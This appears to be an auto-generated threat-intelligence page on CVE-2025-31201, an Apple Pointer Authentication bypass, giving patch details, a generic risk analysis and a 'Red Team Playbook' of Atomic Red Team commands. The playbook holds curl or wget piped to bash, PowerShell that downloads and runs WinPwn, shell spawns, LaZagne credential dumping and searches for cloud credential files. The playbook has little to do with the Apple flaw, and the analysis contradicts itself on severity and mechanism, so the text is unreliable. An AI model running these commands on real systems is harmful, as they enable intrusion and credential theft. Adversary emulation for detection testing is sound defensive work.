CVE-2025-31201
Overview
This vulnerability is a bypass of Pointer Authentication implemented in Apple operating systems. The root cause lies in the presence of vulnerable code that allows an attacker with arbitrary memory read and write capabilities to circumvent the integrity checks enforced by Pointer Authentication. The affected components include Apple iOS, iPadOS, macOS Sequoia, tvOS, and visionOS, where Pointer Authentication is used to protect against memory corruption attacks.
Vulnerability Description
This issue was addressed by removing the vulnerable code. This issue is fixed in iOS 18.4.1 and iPadOS 18.4.1, macOS Sequoia 15.4.1, tvOS 18.4.1, visionOS 2.4.1. An attacker with arbitrary read and write capability may be able to bypass Pointer Authentication. Apple is aware of a report that this issue may have been exploited in an extremely sophisticated attack against specific targeted individuals on iOS.
Impact
An attacker with existing arbitrary read and write memory capabilities can leverage this vulnerability to bypass Pointer Authentication, potentially enabling further exploitation such as privilege escalation or code execution. Exploitation requires prior compromise to gain arbitrary memory access, indicating a chained attack scenario rather than initial entry. This vulnerability has been reportedly exploited in highly targeted, sophisticated attacks against specific individuals on iOS devices. The CVSS base score is 0.0 (LOW) reflecting the prerequisite conditions and limited scope of impact without prior memory control.
Solution
Apple addressed this vulnerability by removing the vulnerable code in the security updates iOS 18.4.1, iPadOS 18.4.1, macOS Sequoia 15.4.1, tvOS 18.4.1, and visionOS 2.4.1. Users and administrators should apply these updates promptly to affected devices. Detailed patch and update instructions are available from Apple’s official security advisories at https://support.apple.com/en-us/122282, https://support.apple.com/en-us/122400, and https://support.apple.com/en-us/122401.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question involves a critical flaw in the Pointer Authentication feature of various Apple operating systems, including iOS, iPadOS, macOS, tvOS, and visionOS. Pointer Authentication is designed to enhance security by ensuring that pointers in memory are validated before being accessed. However, the presence of vulnerable code allowed for arbitrary read and write capabilities, effectively enabling attackers to bypass this protective mechanism. This flaw undermines the integrity of memory operations, potentially allowing malicious actors to manipulate system processes and gain unauthorized access to sensitive information.
Attack vectors for this vulnerability are particularly concerning due to the sophistication required for exploitation. An attacker could leverage social engineering tactics or deploy advanced malware to gain initial access to a targeted device. Once inside, the attacker could exploit the vulnerability to execute arbitrary code, leading to unauthorized data access or manipulation. Given that the issue has been linked to highly targeted attacks against specific individuals, it suggests that the exploitation may be part of a broader campaign involving advanced persistent threats (APTs). This raises alarms about the potential for espionage or data theft, particularly for high-profile users such as political figures, corporate executives, or activists.
The real-world impact of this vulnerability is significant, especially for organizations that rely on Apple’s ecosystem for their operations. A successful exploitation could lead to unauthorized access to sensitive corporate data, intellectual property theft, or disruption of services. The business risks associated with such breaches include financial loss, reputational damage, and potential legal ramifications stemming from data protection regulations. Furthermore, the sophistication of the attacks indicates that organizations must be vigilant, as traditional security measures may not suffice against such targeted threats.
To detect and mitigate the risks associated with this vulnerability, organizations should prioritize updating their systems to the latest versions of the affected operating systems, as Apple has addressed the issue in recent patches. Regularly applying security updates is crucial in maintaining a robust defense against known vulnerabilities. Additionally, implementing comprehensive monitoring solutions can help detect unusual behavior indicative of exploitation attempts. Organizations should also consider adopting a layered security approach, including endpoint protection, intrusion detection systems, and user education on recognizing phishing attempts and other social engineering tactics.
In conclusion, the vulnerability affecting Pointer Authentication in Apple’s operating systems poses a serious threat to both individual users and organizations. The potential for sophisticated attacks exploiting this flaw underscores the need for proactive security measures and timely updates. By understanding the technical details, potential attack vectors, and real-world implications, organizations can better prepare themselves against the risks associated with this critical vulnerability. The landscape of cybersecurity is ever-evolving, and staying informed and vigilant is essential to safeguarding sensitive information in an increasingly complex threat environment.
CSURFACE threat intelligence has identified a measurable increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2025-31201, rising by nearly 46% to a current level that places it in the upper percentile of predicted exploit likelihood. Although no new exploit techniques or ransomware associations have been detected by our telemetry, this upward adjustment in EPSS reflects growing confidence in the vulnerability’s exploitability, likely influenced by ongoing targeted attacks and increased awareness within threat actor communities. This shift signals a heightened risk environment for defenders, emphasizing that adversaries may be refining their capabilities to leverage the pointer authentication bypass flaw. Consequently, the threat level for this vulnerability has escalated from a theoretical concern to a more imminent exploitation risk, warranting increased vigilance despite the absence of newly observed exploit campaigns.
Affected Products (5)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Apple | Macos | All |
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*
|
|
|
Apple | Tvos | All |
cpe:2.3:o:apple:tvos:*:*:*:*:*:*:*:*
|
|
|
Apple | Visionos | All |
cpe:2.3:o:apple:visionos:*:*:*:*:*:*:*:*
|
|
|
Apple | Ipados | All |
cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*
|
|
|
Apple | Iphone Os | All |
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
4 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.